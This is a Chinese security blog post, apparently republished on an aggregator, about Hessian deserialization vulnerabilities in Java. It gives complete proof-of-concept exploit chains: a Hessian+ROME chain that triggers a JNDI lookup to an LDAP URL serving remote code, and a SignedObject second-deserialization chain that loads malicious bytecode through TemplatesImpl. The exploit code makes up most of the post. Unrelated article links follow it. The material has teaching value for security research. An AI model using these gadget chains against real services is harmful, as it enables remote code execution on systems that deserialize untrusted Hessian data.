Hessian反序列化

news/2025/1/30 15:35:03/文章来源:https://www.cnblogs.com/meraklbz/p/18695206

原理

Hessian是一种RPC工具,用来将对象序列化或反序列化,添加依赖

    <dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency>

首先看一下Hessian的使用.
Person.java

import java.io.Serializable;public class Person implements Serializable {public String name;public int age;public int getAge() {return age;}public String getName() {return name;}public void setAge(int age) {this.age = age;}public void setName(String name) {this.name = name;}
}

Hessian_test.java

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;public class Hessian_Test implements Serializable {public static <T> byte[] serialize(T o) throws IOException {ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();}public static <T> T deserialize(byte[] bytes) throws IOException {ByteArrayInputStream bai = new ByteArrayInputStream(bytes);HessianInput input = new HessianInput(bai);Object o = input.readObject();return (T) o;}public static void main(String[] args) throws IOException {Person person = new Person();person.setAge(18);person.setName("Feng");byte[] s = serialize(person);System.out.println((Person) deserialize(s));}}

可以看到从使用上就类似ObjectInputStreamObjectOutputStream,但在实现上的不同导致了漏洞的出现.
Hessian会将序列化的结果处理为一个Map,而在反序列化的时候,会将需要的类去存储到HashMap中,因此可以触发任意类的hash方法(在cc6中分析过).
所以,我们只需要去找出口为hash的链子即可.
我们以ROME反序列化为例去调一下.

Hessian+ROME

这东西的链子不说和纯ROME链一模一样,也差不多少

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;public class Main {public static void main(String[] args) throws Exception {JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName("ldap://localhost:1389/Basic/Command/calc");ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);HashMap<Object, Object> map = new HashMap<>();map.put(objectBean, "test");serialize(map);deserialize();}public static Object getValue(Object obj, String name) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);return field.get(obj);}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void serialize(Object obj) throws Exception{HessianOutput hessianOutput = new HessianOutput(new FileOutputStream("test.ser"));hessianOutput.writeObject(obj);hessianOutput.close();}public static void deserialize() throws Exception{HessianInput hessianInput = new HessianInput(new FileInputStream("test.ser"));Object obj = hessianInput.readObject();hessianInput.close();}
}

这里着重解释一下为什么不能使用TemplatesImpl去作为入口.来看一下_tfacotry的定义.

private transient TransformerFactoryImpl _tfactory = null;

其中含有transient字段,意味着这个属性是不可序列化的.事实上,在正常的链子构造中,这行是可有可无的.

        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});SerializeUtil.setFieldValue(templates,"_name","f");//SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

因为早TemplatesImplreadObject中对这个属性有相应的处理.

_tfactory = new TransformerFactoryImpl();

然而Hessian使用的是自定义的readObject,因此没有这行代码,会导致_tfactory为null,抛出空指针异常,被捕获,因此不能执行命令.然而在8u20一下这条链子是可以的,在Jackson反序列化中分析过了.那么如何解决这个问题呢?

SignedObject二次反序列化

来分析一下SignedObject类的构造方法.

public SignedObject(Serializable object, PrivateKey signingKey,Signature signingEngine)throws IOException, InvalidKeyException, SignatureException {// creating a stream pipe-line, from a to bByteArrayOutputStream b = new ByteArrayOutputStream();ObjectOutput a = new ObjectOutputStream(b);// write and flush the object content to byte arraya.writeObject(object);a.flush();a.close();this.content = b.toByteArray();b.close();// now sign the encapsulated objectthis.sign(signingKey, signingEngine);}

将传入的对象序列化为字节数组,并存储到content属性中.接下来看一下这个类的getObject方法.

public Object getObject()throws IOException, ClassNotFoundException{// creating a stream pipe-line, from b to aByteArrayInputStream b = new ByteArrayInputStream(this.content);ObjectInput a = new ObjectInputStream(b);Object obj = a.readObject();b.close();a.close();return obj;}

这不就是个反序列化的过程吗.所以利用SignedObject来打二次反序列化的意义就在于可以屏蔽掉一条完整的执行链的具体流程,然后去寻找getter方法的新的出口.可以用于打非标准出口或是waf屏蔽的情景.
poc如下

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;public class Main {public static void main(String[] args) throws Exception {TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\Hession\\target\\classes\\shell.class"));setValue(templatesimpl,"_name","aaa");setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);setValue(badAttributeValueExpException,"val",toStringBean);KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(equalsBean,1);byte[] payload = Hessian2_Serial(hashMap);Hessian2_Deserial(payload);}public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}

整体还是很好懂的,除了这一部分.

        KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");

这是在生成SignedObject构造方法所必要的参数,永远这么写,直接记就行.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/877059.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用ailabel对图片进行标注,vue3/js+ailabel.js

​ 一、实现效果 对方案可以添加多张图片,并在图片上进行标注。并且可以通过下方的缩略图切换方案图片 (demo) 二、效果图三、页面元素 <div class="w-full overflow-auto p-2" style="height: calc(100% - 7rem)"><div class="btns mb-2…

【模拟电子技术】17-基本放大电路的派生电路与场效应管放大电路的分析原则

【模拟电子技术】17-基本放大电路的派生电路与场效应管放大电路的分析原则 现在提出要求,要用NPN,PNP三极管各一个来构造放大电路,要求在大功率的时候,从输出端看都是PNP型,复合管就可以做到这一点可以看出第一个管子的功率肯定没第二个大,但是第一级管子决定了复合管的类…

Java Collection集合

目录集合概述集合框架Collection 常用功能 集合概述集合:集合是java中提供的一种容器,可以用来存储多个数据。 集合和数组既然都是容器,它们有啥区别呢? 数组的长度是固定的。集合的长度是可变的。 数组中存储的是同一类型的元素,可以存储基本数据类型值。集合存储的都是对…

Java StringBuilder类

目录字符串拼接问题StringBuilder概述构造方法常用方法append方法toString方法 字符串拼接问题 由于String类的对象内容不可改变,所以每当进行字符串拼接时,总是会在内存中创建一个新的对象。例如: public class StringDemo {public static void main(String[] args) {Strin…

[2025.1.28 MySQL学习] 锁

锁 全局锁全局锁就是对整个数据库实例加锁,加锁后处于只读状态,DML写语句、DDL语句、已经更新的事务提交语句都会被阻塞,典型使用场景时全库的逻辑备份 加全局锁:flush tables with read lock; 数据备份:mysqldump -uroot -p1234 itcast>itcast.sql 解锁:unlock table…

网络流量优化问题

问题描述 给定一个网络G(V, E) ,其中V为节点集合,E为链路集合。网络中的每条链路e的容量为Ce拓扑上的数字为链路的容量,假设网络中有K条单向网络流(k=n*(n-1),n为网络节点的数目),假定第i条网络流为fi,流的大小从[10, 100]区间中随机产生。现需要对K条网络流进行合理的…

8. Reading attributes 之 ATT_READ_BY_TYPE

1. ATT_READ_BY_TYPE_REQ 1.1 请求格式

Kafka 的部署(单机和集群)和 SpringBoot 访问

Kafka 由 Scala 和 Java 编写,最初由 LinkedIn 开发,后来成为 Apache 顶级项目,是一种高吞吐量的分布式发布/订阅消息系统。 Kafka 不仅仅是一个消息队列,还支持实时数据处理,其高吞吐、可扩展和持久化特性使其在大数据领域广泛应用。 本篇博客不详细介绍 Kafka,主要聚焦…

DeepSeek火爆全网,官网宕机?本地部署一个随便玩「LLM探索」

前言 最近 DeepSeek 狠狠刷了一波屏,国产大模型真的越来越厉害了👍,官方的服务器已经爆满了,以至于频繁出现反应迟缓甚至宕机的情况,和两年多之前 ChatGPT 的遭遇颇为相似。 我已经好久没有本地部署模型了(现在各厂商的模型都便宜量大),这次正好来试试 DeepSeek 开源模…

CF1000

A link首先,对于一个数(比如说\(x\)),它和它加一一定互质(也就是\(x\)和\(x+1\)一定互质),那么它和它加一组成的区间(\([x,x+1]\))一定是好区间,也一定是最小好区间,因为除了本身\([x,x+1]\)、两个数\([x,x]\),\([x+1,x+1]\)和空集不包含其他区间了,而相等两个数一…

大模型

目录大模型的演变大模型的使用与训练大模型的特点与分类大模型的工作流程大模型的应用 大模型的演变机器学习:深度学习:大模型的使用与训练 大模型的特点与分类 大模型的工作流程 大模型的应用本文来自博客园,作者:chuangzhou,转载请注明原文链接:https://www.cnblogs.co…